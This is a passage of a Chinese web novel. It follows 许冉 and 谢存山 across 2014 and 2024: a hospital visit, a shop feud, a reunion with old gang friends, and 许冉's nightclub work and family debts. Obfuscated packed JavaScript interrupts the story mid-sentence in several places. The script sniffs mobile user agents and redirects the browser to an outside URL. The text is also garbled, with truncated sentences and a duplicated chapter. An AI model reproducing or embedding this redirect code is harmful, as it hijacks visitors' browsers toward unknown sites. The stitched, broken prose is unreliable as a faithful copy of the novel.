谢存山问,“你来看病?” 许冉抬眼看看他,再看看手里的一沓化验单。她一张脸白得纸似的,不像之前见时笑颜明媚,张牙舞爪。 谢存山发觉自己说了废话,“胃疼?” “老毛病。”许冉没力气跟他寒暄,错身要走,忽然又想起什么,站回一步问他,“谢存山,你下午忙吗?” 谢存山没接话。 没接话就是没安排。许冉觍着脸,“劳烦你陪我去做个胃镜吧。” 早上医生给她开了全麻胃镜,来化验部一问,要带人看护才行,一个人说什么也不给做。 许冉本打算改日再来的,结果半道冒出来个现成的‘人’。没说要家属,没说要朋友。是个人就行。 正好。 化验部外头的等待区人满为患。他俩只找到一个位置,让病号坐了,看叫号顺序还得二十分钟。 旁边坐了一对年轻夫妇,很和善恩爱的模样,怀里坐着可爱的剪西瓜头的小女孩。女人见她脸色惨白,还捂着肚子,取出一些孩子的小饼干。请她吃。 她要禁食,婉拒了。夸赞那小女孩可爱。又逗她玩儿,做着鬼脸,也分散自己的注意力。 谢存山在旁边看了一会儿,说,我出去买包烟回来。 许冉病中尤为脆弱,捂着胃,还在抚摸那孩子缎子似的额发,下意识说,“那你快点哦。” 说完才觉得这一幕莫名熟悉,下意识抬头,目光正好与他短兵相接。 谢存山低头看她,眼色阴沉,深潭似的不见底,一种审视的不动摇的姿态。 许冉的语气和与语癖都与从前分毫不差。那时候谢存山送外卖,她经常要等他,在粉面馆里等,在地下通道里等,在落雨的公交站前头等——哦。那你快点哦。她在电话里一次又一次耐心地说。 许冉心惊,移开眼睛,先认了输。 等谢存山转身走了,她忍不住去看他背影。他变了许多,身上有种不外露的强势气质,更笃定了。 ——平时风风火火惯了的人,心里难得有些苍凉感受,那孩子软软的凉凉的小手贴在她的脸颊上,她没头没尾地想,要是那时候... - 谢存山买了烟返回,没来得及拆,听见化验部里头忽然吵嚷开。他三步并作两步进了门,见一男一女扭打在一起一起,战事凶猛,似乎是因为排队。 方才那对夫妇走了。许冉还坐在他们的扭打半径内,谢存山看见那男人挥舞的手肘差点就打到她的背部。 许冉正纠结要不要起身,突然手臂被大力一拉,见是谢存山。他几乎是将她拎出了人堆,拧着眉,周身气压比刚才还冷,“怎么不躲。” “好不容易占了个位。” 许冉指了指,她把矿泉水瓶放在旁边位置替他‘占位’。她的脸比纸还白,比刚刚气色更差,上头浮起的那抹微笑因此更扎眼。 谢存山有些气闷,又不能真对着病人发脾气,觉得她胃坏了脑子也坏了,给她在门外重新找了个座。 她坐他站,他把烟摸出来,又塞进兜里。 许冉说,“你想抽就抽吧。” “早戒了。” 许冉撇撇嘴,显然不信。 两人沉默了一会儿。 许冉突然想起了什么,平淡问,“还没来得及问你。外婆身体还好吗?” 加完微信后,她就想问他来着。微信对话框点开好几次,但没敢开口,怕他一个不高兴给她拉黑了。 谢存山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢存山不自觉地笑了笑,又在后视镜里和自己对视,觉得这个表情实在愚蠢透顶。 他正色说,车门上有水。然后发动了车。 - 谢存山把人送到了红桃k,许冉说姜璐在那儿,她在休息间躺躺,还能点个粥喝。 谢存山想起姜毅其人,但什么也没问。毕竟,不是要关心到这个份儿上的立场。 姜璐见她从谢存山的副驾驶上下来,惊讶,“怎么是你送回来的。” “正好遇到了。请他陪我做了个胃镜。” “早知道我陪你去了。”姜璐懊恼。 “店里走不开的。”许冉说。 姜璐的妹妹姜微也在,怯生生的一个小姑娘,知道姐姐对她好,供她上学不容易,一到假期就来店里帮忙。 两姐妹扶着许冉往里间休息,谢存山插着口袋跟着,他这才第一次好好打量这个店。有个肥头大耳的男人正在剃须,闭着眼,鼾声如雷。谢存山皱皱眉。 姐妹俩把许冉安在休息室的沙发上坐,她笑着说,“别搞得这么严肃,我就是饿的没力气,有点虚,你们该忙啥忙啥。” 姜璐她们各自去忙,谢存山更没有什么理由逗留,他刚刚就一直在休息室门口坐着,门神似的。店里的几个小姑娘都瞟他,瞟完互相对对眼神,意思是——这是哪里来的野男人。 “你看我,都忘了你也没吃午饭。”许冉缓过来一些力气,看手机已经是下午两点多,“我叫个粥,要不也给你点东西垫垫?” “不用。我还有事。” “谢存山?” “嗯?” 许冉对着他的背影缓缓说。 “我们这样是不是也挺好?” 谢存山半侧过身,倚在门框上,意思是等她说完。 “我的意思是,我们现在突然再见,做陌生人太刻意,不如,我们就做普通朋友吧。像这样偶尔互相联系帮忙的朋友。你觉得怎么样。” 多年以前她曾捧着他的脸,说,谢存山,你是我最好的朋友。这几年我好难熬,只有你在我身边。 谢存山呼出一口浊气,目视前方,说,好。我同意。 许冉眨眨眼,说,“改天我请你吃饭。再见,谢存山。” 13. 2024 谢存山离开不久,外面忽然吵嚷开来,姜璐又叉着腰跟谁吵了起来。 许冉匆匆往外,问怎么了。 “都三四天了。他们店里装修,把材料垃圾全扔在我们门口,说了也不听。” 许冉上周刚刚签了舞蹈工作室的租赁合同。这几天忙着找设计公司和装修公司,没顾得上红桃k。 姜璐也知道她忙,店里小打小闹的事情,她都不提。 鸭脖店旁边那间原是个鲜切水果店,关门大吉有一段时间了,一直在招租。前两天租出去了。 店面里进出搬东西的都是年轻男人,纹身,背心,耳朵上夹着烟,看着就不是普普通通的装修工人。他们没把姜璐这细胳膊细腿的小姑娘放在眼里,照样把废木料往外堆。空气里一股粉尘和装修材料的刺鼻气味。 “上周租出去的。这周就开始装修了。要开个头疗馆。”姜璐解释,“你猜,老板是谁。” 还没等她再解释,前坪拐进来一辆宝马X3,上头翩翩下来一个戴墨镜穿超短牛仔裤细高跟的女人,身后看热闹的沐沐惊呼:“小燕!” 谢存山站在许冉身后抱臂。他眼睛尖,过目不忘,但也半天才把这个浓妆艳抹的女人和那天被按在地上披头散发的人联系到一块儿。 “你看看。这不是纯粹来恶心咱们的嘛。”姜璐小声嘟囔,又说,“还不止。她男人也换了。” 副驾驶上下来一个男人。大金链子,花臂,寸头,瘦猴似的。他点燃一根烟,又转过来搂着小燕,在她背上腰上摸啊摸。亲亲热热,歪歪扭扭,让人看着发腻。那几个店前头的都叫他‘亮哥‘。 ‘亮哥’侧过头,耳后有个‘忠’字。 许冉觉得似曾相识,没来得及细想,听姜璐说,“说是什么人力公司老板。我看像□□。” 小燕扭着腰蹬着高跟鞋走过来,冲姜璐翻个白眼,又假热络地打招呼,说:“冉冉姐,总算见着你。我刚刚还和亮子说呢。说之前你一直照顾我。” 很明显的讽刺。 许冉一个人在外多年,什么牛鬼蛇神没见过,她和姜璐不同,更懂得藏锋,不与人缠斗,能揭的就揭过去,说到底是与己方便。 大陆朝天,各走一边嘛。 小燕给店里惹了事,她给小燕多支一个月工资才让她走人,就是这个道理。 没想到小燕不知好歹,掉转头还要往她身上撞。 许冉个头快一米七,居高临下,眼神冷淡,垂眼看人,语带着一丝嫌恶,说:“照顾算不上。你本事大,店里留不住你。” 小燕本就矮许多,许冉神情淡淡,倒显得她张牙舞爪很可笑。 “你这女的怎么说话的。” ‘亮哥’灭了烟走过来要为小燕撑腰。抬手指着许冉的脸。 他与小燕在一起刚两周,还是最新鲜的时候。小燕说她要开家店,请他找些兄弟帮她打打下手。又说,她以前在旁边店打工,老板娘姓许,最精明算计。 耳边风一吹,他整个人轻飘飘,忙着来替人出头。 亮子恶狠狠指着许冉,盛夏天气却突然无端周身一颤,余光见一个高个男人站在不远处的吉普车旁,眼神凛冽一动不动地正在看他。 他一瞥,心惊手软,喊,‘小山哥。怎么是你。’ - 娟娟烧烤店下午才开门,四五点食客还较稀疏,唐小勇在外头往冰柜里摆串儿,黎娟在后厨忙活着将消毒柜里的碗筷码整齐,又吩咐帮厨将柠檬赶紧榨了兑冰水。 满打满算,他们恋爱十年,结婚八年,孩子六岁,小店开了五年,生意一开始平平,后来唐小玉神通广大找了几个探店自媒体的来宣传,如今‘桐城必吃’排行榜上娟娟烧烤常居前五,生意红火得唐小勇都发愁。 ——发愁店面太小,坐不下那么多人。 唐小玉天天都将小红书的推送转给他看,大家都在呼吁老店停车难,座位少,老板得将开新店的事情提上议程。 只有黎娟说,咱们就守着这家店。挺好。开店前期投入大。咱们有多大能量做多大事儿就行。何况孩子还小,咱们得花时间陪他。 外人看他们家是唐小勇主外黎娟主内,其实黎娟是他的主心骨。他们原生家庭都不好,更有决心要做一对好的父母。 总之,那些不谈。但还有些别的网友评论也让唐小勇很介怀。 网友问,店主胳膊上那条龙丑萌丑萌的。是纹身贴吗。【附上一张模糊偷拍图】 唐小勇没有社交媒体账号,指挥唐小玉说,“你帮我回!那是真的,刺了大半天!” 扯远了。 唐小勇正吹着口哨串鹌鹑蛋,忽见对面巷口刺拉一声,刷刷泊了好几辆车。他心里一紧,怕有人来闹事。 唐小勇自认从前也是江湖中人,总觉得江湖中还有他神车手的传说。 再定睛一看,打头是那辆谢存山的牧马人。后门跟着下来几个人,都是背心纹身小金链子。他心里想,小山这又是哪儿交的‘新朋友’。 忽听一嗓子‘勇哥!’ 唐小勇定神,认出来了,“小亮!” 酒过三巡,亮子红着脸敬唐小勇,说,勇哥。要不是你当年带着我们。只怕我会错的没边。现在嘛,也混的一般,但好歹是个良民。 跟着他的几个人都嘻嘻笑。 唐小勇摆摆手,以茶代酒。 跟着唐小勇之前他们都是派出所常客,打架滋事,小偷小摸,没少干。轻则口头警告家里人领回去一顿打,重则拘留三五天。出来了照旧。 亮子的父亲自己就是个毒虫。他从出生起就看着父亲进出戒毒所,就跟回老家似的。 后来偶然间开始跟着唐小勇,去了他的台球厅做事,后来又被带去了游戏厅,虽还是游走在灰色地带,偶尔也要动动拳头,但到底不是吃了上顿没下顿,人就渐渐安稳了。 这是人的本性,谁撇下安稳日子不过想三天两头找茬儿呢。 再后来游戏厅散了,唐小勇给了每个人一笔钱,亮子和另一个兄弟拿着这笔钱彼此承诺要做正经事。先去了工地搬砖头,工地还管饭,钱赚的踏实,吃得饱睡得香,挺好。后来又攒了几个人,搞了个小型装修队,那十年桐城大兴土木,也赚了些钱。现在又合伙开人力资源公司,给工地对接找活儿的农民工。 ‘总算是坐上办公室了。’亮子红着脸打酒嗝。 他揽上谢存山的肩膀,说,“还是最羡慕小山哥。读了大学还是不一样。” 谢存山也醉了五六分,挥挥手说,也就那样。 唐小勇问,阿宇呢!阿宇过的还行不。 亮子笑着说,好得不得了。去年结了婚,今年生了对龙凤胎。他家里老房拆了,赔了一百多万。 唐小勇说,就属他最有福气。 亮子又凑近,用肩膀蹭谢存山,硬要跟他碰杯,说,小山哥,今天那老板娘是你女人吧。我记起来了,路西法那个。你看我,差点没认出来,得罪了嫂子。 又说,小山哥,我敬你。你和勇哥一样,都重感情。好男人就得这样。 他打个酒嗝,说,“我记得有一阵你俩还闹分手呢。你看吧,我就知道,你俩有缘分,散不了。” 酒杯轻撞,店外正好落下一声雷。立秋了。 - 谢存山没有喝大酒的习惯,旧友相聚,多喝了几杯,稍有些头晕。亮子酩酊大醉无可救药,带来的人把他扛了回去。 谢存山跨坐着,以手撑膝,醒神。 唐小勇用了两分力道,捏他的肩,问他,“许冉真的回来了?” 谢存山耷拉着头,没动,“嗯。” 夫妇俩对望一眼。小娟给谢存山泡茶,岔开话题,问他:“你和‘小何’处得怎么样。小刘可是跟我说了,人姑娘在北京上的大学,学历不比你差,知书达理的,家里也就这么一个小孩。挺般配。” 小刘是社区居委会的年轻干部,这一片的‘万事通’‘包打听’。 说曹操曹操到。何清庭来电。 晚上接近十二点,谢存山赶到莲花西路派出所。他喝了酒,开不了车,唐小勇送他。 临下车,唐小勇交代,‘等会儿你打个车送人家。多安慰安慰人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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外头值班的年轻民警走进来,“吵什么吵。”目光移到谢存山身上,高兴地喊:“小山哥!” “你们,认识?” 何清庭肩上披着谢存山的衣服,在计程车后座问谢存山。闺蜜坐在他们之间鼾声如雷。 “谁?” “那个帅警察。” “...”谢存山不接话。何清庭又自顾自说,“我就知道你是个有故事的男同学。你之前肯定混社会的,老是出入派出所,但是现在金盆洗手了。对吧。” 司机闻言,也从后视镜里瞟这个年轻的男人,“...” “这衣服,借我遮一下手,我怕我爸妈看了担心。过两天洗了还你。” “随便。”谢存山说。 送完了闺蜜,再往回走的时候,就开始大堵车。交通频道里说莲花西路有交通事故。 何清庭说,走吧,从登高巷走回去。 两人亦步亦趋。隔着客气的距离。 登高巷里倒是静谧极了。两堵高墙隔绝了外头的车水马龙。 走到一半,何清庭脑子里的酒彻底风干了,难得认真一回,说,“那天我在这里说的,都是玩笑话。你别放在心上,谢存山,你是个好人。你也看出来了,我结婚是为了让我妈开心,我们还是别继续相亲了。我过意不去。做朋友倒是可以。你帮我这一次,之后我都为你肝脑涂地,两肋插刀!” “喂。你在听吗?” 何清庭刚刚一直自说自话,回头看才意识到,谢存山落后了几步。她顺着他的目光看过去,见一个长发高挑的女人,正站在小院前的马灯下头,也在看他,手里还拎着垃圾袋。 谢存山的脸上没有强烈的表情,眼神却阴云密布,胸膛起伏。 何清庭觉得周围气压骤减,山雨欲来,夜色都暗淡几分。 不过...也许是她的幻觉?毕竟他开口时语气又很淡,“你住这里?” 女人点点头,开口,“好巧。” 说罢拢了拢长发,目光落到那件她肩上那件外套,又落到何清庭脸上,“这位是?” “相亲对象。” 女人听了,明显愣了一愣,但还是抬起眼善意地对她笑笑。 她有一双很漂亮的眼睛,在灯下看人,如泛柔波。 瞎子都看得出来,两人关系实在不一般。何清庭挤出一抹苦笑,解释,“他...那个...送我回家。” “嗯。这儿晚上是不太平。”女人眨眨眼,转身进了小院。 14. 2014 许冉醒得很早。桐城比她醒的更早。快捷酒店陈旧的帷幔让进一缕干净的天光。 她闭着眼,听卖豆腐花的小贩的喇叭声,忽远忽近,‘两元一杯,不加糖也甜。’再过一会儿,是叮叮当当的三轮车经过,老头拖长了声音喊‘磨剪子戗菜刀’。 像回到小时候的夏末,她睡在青色的帐子里,盖着毛巾质地的薄毯,在世界醒来前醒来,因为惶恐而靠近父母温热的□□。 此时她缩在谢存山的怀里,他的呼吸很近,很热,昨晚她到了旅馆简单洗漱就昏睡过去,中途被他叫起来迷迷糊糊再吃了一次药,喝了一些水,也不知他是什么时候躺下的。 他把她裹成一只虫茧,自己在一侧枕着手臂和衣而眠。这边是大学城,连锁酒店多,但周末大都满房,他们找了两家,都没有标间,找到第三间的时候许冉说,‘大床房也没什么。就这儿吧。’ 这是一个不会发生任何事的早晨。 但许冉睁开眼,因离得太近而后知后觉地有些害羞。她的胃空空的,心轻飘飘的,感觉自己从里到外都好干净。 原来谢存山睡着时的神情是这样的,眉眼柔和,很静,令她觉得心安,她凑上去用脸贴了贴他的下颌,胡茬有粗砺的触感,好神奇。 谢存山睡得浅,醒了,低头在看她,黑而亮的眼睛,有些不解,但是跟她对视,又笑了。 其实他是本性温柔的人,才十八岁,还很孩子气。但大多数时候他得张牙舞爪地保护自己。她也一样。所以他们是同类。 同类就应该这样,在一个洞穴里取暖,永远都不要分开。 谢存山低下头摸索着触碰许冉的嘴唇。干燥的,清浅的一个吻。有坦诚的欢喜。 窗外是桐城一个天高云淡的秋。 - 许冉因生病休了一周,万小琴又跟着紫毛和丘胖子一行人去海南玩了。万小琴说这次那些官二代都不在,就几个丘胖子的心腹,因此玩得格外开心。 许冉微信问她,老请假马经理会不会不高兴。 万小琴说,我管他高不高兴,大不了老娘不干了。 几个月前万小琴还削尖了脑袋想进股东部呢。大概因最近紫毛受丘胖子器重赚钱快,她的想法又跟着变了。 万小琴说,开那个能赚几个钱,丘胖子说他想投钱开个ktv,要我去给他当经理。到时候你跟着我干。 许冉听了还有点失落,她有个专门的存折存着将来开美甲店的钱,已经攒了三千多了。但显然万小琴已然志不在此。 万小琴问她,对了,我认识个朋友说要带我投资做生意,你那一万多块钱能还我多少? 许冉说,我尽快。 万小琴回了个ok。 万小琴不在,谢存山正好方便上门来看他。许冉身体不好,哪儿也不想去,他就天天跑来给她做饭。 第一天给她把厨房收拾干净了下了口清汤鸡蛋面给她吃,盐放多了。第二天他又带了一个小砂锅来,他说他从外婆家偷的,小时候他不舒服,外婆就用这个砂锅给他煲汤。 他其实会的也不多,都是现学的,叮铃哐啷地在厨房企图大显身手。水没烧干就倒油,油花儿嘣得老高,谢存山也跟着上蹿下跳滋哇乱叫。 许冉随他去,开着收音机听音乐电台,边听边在屋里收拾夏天的衣服,又顺手把谢存山弄脏了的棉t恤两下给他揉了,空气里都是肥皂泡的清香。电台放新歌,一个温柔的女中音在唱:‘能够握紧的就别放了,能够拥抱的就别拉扯。’ 写的真好,真有才华。我一辈子也写不出这么好的句子。许冉想。又跟着小声哼。听到谢存山在外头咋咋呼呼喊:“吃饭了。” 谢存山真折腾出两菜一汤,番茄炒蛋,鸡汤,莴笋肉片。 像模像样的晚饭,像模像样的小小日子。 许冉到处找手机,说要留念,谢存山不好意思,说,别拍了,不好看,下次我做点厉害的你再拍。 下次。他们还有很多‘下次’。 许冉觉得好幸福,她开心的时候话多,边吃边看万小琴发的沙滩照,说我们什么时候也能去旅游。 谢存山问,你也想去海南吗。 许冉说,我想去北京,去看天安门升旗。 他说好啊。我带你去。 谢存山把鸡腿夹给她。他心里有点后悔那一兜子钱几乎全用来买了摩托车。 许冉当然不知道他在想什么,只是抿着嘴笑,说打过霜的番茄就是甜。 她把拖鞋脱了,双脚穿着舒适的棉厚袜踩在他的脚背,打着不知名的节拍。隔壁家做了红烧肉,香喷喷,挂在阳台的风铃叮当作响。楼下有狗吠两声,零零碎碎跑过一串孩子,把笑声抛给秋风。 手机一震,许冉低头看,是马经理发来的微信,他的头像一直是koko的照片,妖冶的黑发美人。 他发了一枝玫瑰来,又说,‘店里缺人,你身体好了吗,什么时候来上班。” 许冉不笑了,心像一块烧的热滚滚的铁,忽然沉进冰水里。谢存山低着头在啃鸡屁股,许冉观察他的头顶,两个旋,怕老婆。 这是许冉第一次不想回路西法上班,好像对赚钱都暂时失去了欲望。 - 再隔了两天,到了周六,万小琴总算从海南回来了,许冉早好全了,再没有不回去上班的理由。 期间房东来催了一次租,万小琴不在,许冉先交了,她本就欠她一些钱,不好意思催她。中途姑姑联系了她一次,问她要了五百块钱,说奶奶去复诊了,要换一种进口药。 钱真是不经花。许冉坐在化妆间一边往脸上涂粉底一边想。 闲散了一周,几乎与路西法的人断了联系,再回到这儿有种怪诞感。期间莎莎和小橙在微信上问候过她几句。仅此而已。 正想着,有人捏她胳膊,一双凉凉的手。是莎莎,她换了一顶粉色的假发,双马尾,穿着百褶裙,及膝的长款马丁靴,像日本漫画里的少女。 “病瘦了。”她说着,在另一侧的化妆镜前坐下来描眉。许冉这才注意到,那张桌子彻底空了。那本来是琳达的桌子。 “邵总在五楼给琳达单独开了个化妆室。东西都收上去了。”她涂抹指甲,说:“听邵总说前段时间认识了几个影视圈的朋友,想捧琳达当明星。” 许冉啧啧称奇。不过小一周不在,竟有这种新闻。 小娟也插嘴进来,说:“听说koko姐发火了,不敢对着邵总,就打了马经理一巴掌。”她说着眯起眼睛偷笑。 小娟也早早来了。刚刚一直坐在沙发上安安静静听歌。她在路西法的时间不短,但一直不太起眼,业绩也总在中下游。 马经理是个拜高踩低的,总爱揶揄她,拿她开玩笑,说她太土气了,气质不行。小娟性格不强势,马经理拿她开涮,她就讪讪地笑两下。 小娟一张素白圆盘子脸,细眉,弯眼,长得其实很有古韵。她极少参与路西法的纷争,更不像万小琴一样削尖了脑袋想进业务部。 偶尔她会带自己做的小甜品来,粉红色,粉蓝色,非常可爱,大家一扫而光,都夸她手艺好,她笑得很满足。 这几天桐城有寒潮,又是下雨又是冰雹的。天一冷客流量就小,许冉陪了两桌,都是来看热闹的外地观光客,喝了一轮就走了。 她跟李迈克在吧台聊天,聊着聊着舞池强光一闪,她才发现李迈克的半边脸肿了,嘴角还破了皮,涂了红药水。 “你被打了?” 李迈克笑笑,说:“好几天前的事情了。马经理要我送酒到三楼vip去,上楼梯的时候弄脏了客人的衣服。被邵总知道了。” “邵总打的你?邵骏辉?” 李迈克兔子似的,小心翼翼,“你小点声...哪能轮到他动手。” “马经理打的。说那人是邵总的好朋友。要给我点教训,客人才能消气。” 马杰对这些‘摇钱树’似的女孩子们还算客气,但却苛待底下的员工,这些许冉有所耳闻。但这是第一次见识。 她气得头疼,愤愤,“怎么能随便打人。” 李迈克很宽容地笑笑,提醒:“这儿是路西法。” “疼吗?”许冉看他笑,心里更不是滋味,说:“以后别去楼上了,咱们就在这下面待着,赚点小钱就行。” 她是个聪明的姑娘,有强烈的生存直觉。 路西法比她耳闻目睹的还要复杂,这是一定的。尤其起先目睹了徐闯被抓,又听说了其中的隐情,她更笃定在这儿工作得尽量把握好度——钱要赚,但自保也很重要,也不能贪心。她这样的小鱼小虾,是经不起这里头的暗潮汹涌的。 正聊着,dj换了音乐,灯光也由方才的暧昧慵懒蓝色转为不断闪烁的银色。 “新节目。”李迈克指指台上说。 许冉回头一看,马道上几个姑娘正在跳舞。有些是生面孔,大概是马经理新招来的人,或者是临时哪儿发来的‘菜’。 是类似于韩国女团的舞蹈,只是动作改编后更加具有挑逗性,尺度并不算大,但视觉效果很好,热辣性感极了。 从前她们上马道也只是稍微扭一扭,热热场,正儿八经有人跳舞这是第一次。 舞跳到后半段,其中一个姑娘开始和场下的男人互动,半蹲着拖着一个男人的手,从小腿摸到脚踝,那男人高兴得不知如何是好,满脸红光。 跳舞的人里头也有莎莎,难怪她今天打扮得和平时不一样。 “这是马经理的新点子,又找了一些微博营销号宣传,效果蛮好的。现在一场,等会一点多还有一场。每天风格服装还都不一样...” 女孩儿们下了场,混入人潮,男人们就像猫闻到腥味,一个个颠颠儿地凑上去。 这一晚上提成肯定很可观——许冉心里在算账。 十八岁的许冉,短视又健忘,已经把刚刚的什么‘自保’啊,不贪心啊,抛到了脑后。 晚上许冉去化妆间补口红,见到莎莎正在换衣卸妆。聊起来,才知道她一直在外头学舞。不为别的,就是喜欢。 “你这就走了?” “走了。回家睡觉去。” 虽然走得近,但许冉一直不太了解莎莎,觉得她来去随心,在这儿工作好像不是为了钱。 许冉目送莎莎离开,因为已经陪人喝了些酒,感到晕眩,耳边嗡嗡的,愣了半天才发现是手机在口袋里震。是姑姑给她打电话。 姑姑在电话那头哭。许冉心急如焚,以为奶奶出事了。 ——结果是堂哥捅了娄子。 她这个堂哥比她还要不争气,姑姑惯着,堂姐也宠这个弟弟,把他惯的无法无天。 前年他考了个桐城的三本,姑姑怕他在同学面前丢面子,每个月光生活费就给他两千。 许冉与这个堂哥平时没有往来。姑姑说堂哥前两天打了人,把人眼睛打坏了,在派出所拘留,对方要六万才肯和解,否则就要提告。 许冉到派出所找人,堂哥见了她,很不高兴,说:“你怎么来了。我妈叫你来的?” 事情很简单,他和朋友去台球店玩,为一个漂亮的陪球女郎和邻桌起了冲突,对方骂他是土鳖,他拿球杆做武器,差一点就把对方眼睛彻底戳瞎了。 堂哥账户里只有一千多,姑姑拿了三万,堂姐拿了两万,许冉拿了一万,对方家属这才签了谅解书。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151219|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走出派出所,堂哥没对她说个谢字,打了个车潇洒地扬长而去。 许冉光着大腿佝偻着站在派出所门口等谢存山来接她。她走得匆忙,连外套也没拿。 不一会儿又下起了雨。桐城变天快,一场秋雨一场寒。 她想起那一万块钱,心里就更冷更冷了。 正等着,马经理给她打电话,她小心翼翼地接——刚才她突然要走,马经理不乐意,她还陪了一阵笑脸。 现下电话那头的马杰态度好得令人生疑,问她,家里人接出来没有,派出所那边有没有为难。 许冉说,没有。 马经理又说你钱包掉走廊上,有客人捡到给你还回来了。我叫人放你化妆桌上了哈。 许冉腾出手一摸身上。还真是。 她唯唯诺诺道了谢,没放在心上。银行卡她都藏在家里头,钱包里只有一百来块零钱和几张上次和万小琴照的大头贴。 刚挂了电话,谢存山就骑着摩托车风驰电掣地来了。动静不小,值班的民警探出头往外看。 谢存山穿着雨衣,后座被他严严实实盖了起来,他一掀雨衣,雨珠稀里哗啦往下落,他耍酷似的撩撩被雨浸湿的头发说,“上车吧,公主大人。” 许冉听不得这种肉麻又奇怪的称呼,凑上去笑着捂他的嘴。他的呼吸留在她手心,热的。她觉得太亲密了,又把手收回去。 滑稽丑陋的双人雨衣,许冉全然掩埋在黑暗里,抱紧了谢存山。 机车轰鸣着跨越桐城,秋雨没完没了,钝重无情。许冉攀附谢存山的背,却觉得柔软安静,像回到母体。她想象自己是一颗种子。这么一想,觉得外头的世界也变得可爱并且有所期待了。 她趴在他背上和谢存山商量。 “要是下次我哥再找麻烦,干脆请你揍他一顿。他这种人,欠收拾,我姑姑总惯着他,姐姐也让着他。姐姐的钱是想攒起来以后买房的。姐姐特别不容易,一个人在广州打工,住的群租房,有人偷看她洗澡。她说了,以后想在桐城买房,把孩子也接回去,我也可以随时去住。” 谢存山只觉得背上温温的,耳根子痒痒的,但压根听不清,扯着嗓子使劲儿喊:“你说什么?” 声音在他的胸腔里嗡嗡嗡,逗得许冉咯咯笑,自顾自又说:“本来马上就能还上小琴姐的钱了。这下又要攒一阵。” “要是再有钱一点就好了。你说是不是啊。” - 许冉病了这么一场,允许自己颓废了两周,到了十月中的时候她又忙的团团转了。她一天都没再请假,马经理格外对她满意,许诺了月底的三千块钱肯定还有她的份。 等王玉芬给她打电话,她才意识到上次见妈妈还是九月的事情。 王玉芬在电话里骂她白眼狼,还得等她主动打电话才找得到人。 电话的背景声里是麻将哗啦啦的声音。 她问王玉芬,是不是还在天天给牌友做饭。 王玉芬心情很好似的,说,最近都是你蒋叔叔做。 许冉纳罕,印象中很少见蒋东杰做饭,她小时候有一次王玉芬做胆囊手术,连粥都是她指挥许冉熬的。 王玉芬给许冉打电话是为着许明宗的祭日。这也是一年里唯一一天,王玉芬会主动提起他。 周六母女俩约在小区门口的米粉店碰头。老板娘还认得许冉,招呼说:“妹儿今天回来了。你妈妈高兴了。” 王玉芬嗔怪,“不在我身边讨嫌还好些。” 王玉芬给许冉碗里加了个蛋,给自己也加了个。她问许冉:“东西都买齐了?” “买好了。差香烛和纸钱。” “正好,去年的没烧完。” 母女俩面对面吃粉,竟有些尴尬,是什么时候开始和妈妈生疏的呢,许冉也不记得了。 她想问王玉芬借点钱。前两年她还在家住的时候,每个月给家里交800的伙食费,王玉芬说都给她存起来了。她想把这钱支出来,还给万小琴。 王玉芬说:“瘦了点。” 许冉嗯了一声,没提自己生病的事情。王玉芬低头喝汤的时候许冉偷偷打量她,她胖了一点,脸颊上的肉和脖间的金镶玉一起坠下去。项链是她和蒋东杰结婚时买的,她带了许多年。 给许明宗上坟的时候,王玉芬还是反复念叨那句话,“你爸爸,人是好,就是命不好。” 她给他坟头拔草,拔的很仔细,许冉在她身后跪着,被香灰糊了眼睛,看母亲的背影比她印象中臃肿许多,她说,“老许啊,你泉下有知要保佑我们母女。” 十年了,哪还有什么知呢。许冉私心希望许明宗早早投了胎,这一世别再短命了。 上完坟,回城也才不过下午四点,王玉芬叫许冉陪她去步行街逛街。桐城步行街五六年前也是寸土寸金的新潮地段,如今没落了,横七竖八塞满私人店铺,老板坐在店铺里吃饭打牌。 许冉陪她买了一双平底靴,又买了一件毛衣。毛衣老板说是开司米的,要268,王玉芬舍不得,摸了又摸。 许冉说,妈,我买给你。 后来又逛了好几家,王玉芬硬是要找弹力腰带的牛仔裤。许冉不明白,但还是耐着性子陪着她一家接着一家找。 终于找着了。 老板娘放下手里的烤栗子热情招呼她们。对面就是糖炒栗子的小摊,空气都甜得温馨动人。 许冉有点馋。 转头问王玉芬要不要吃糖炒栗子。 ——老板娘显然很有经验,伸手量了量王玉芬的腰,笑着说,你这个腰我都不用量就晓得,这有三个月了吧?肚子尖,男孩吧? 王玉芬在镜子里低头微笑。 15. 2014(原第14章) 许冉醒得很早。桐城比她醒的更早。快捷酒店陈旧的帷幔让进一缕干净的天光。 她闭着眼,听卖豆腐花的小贩的喇叭声,忽远忽近,‘两元一杯,不加糖也甜。’再过一会儿,是叮叮当当的三轮车经过,老头拖长了声音喊‘磨剪子戗菜刀’。 像回到小时候的夏末,她睡在青色的帐子里,盖着毛巾质地的薄毯,在世界醒来前醒来,因为惶恐而靠近父母温热的rou体。 此时她缩在谢存山的怀里,他的呼吸很近,很热,昨晚她到了旅馆简单洗漱就昏睡过去,中途被他叫起来迷迷糊糊再吃了一次药,喝了一些水,也不知他是什么时候躺下的。 他把她裹成一只虫茧,自己在一侧枕着手臂和衣而眠。这边是大学城,连锁酒店多,但周末大都满房,他们找了两家,都没有标间,找到第三间的时候许冉说,‘大床房也没什么。就这儿吧。’ 这是一个不会发生任何事的早晨。 但许冉睁开眼,因离得太近而后知后觉地有些害羞。她的胃空空的,心轻飘飘的,感觉自己从里到外都好干净。 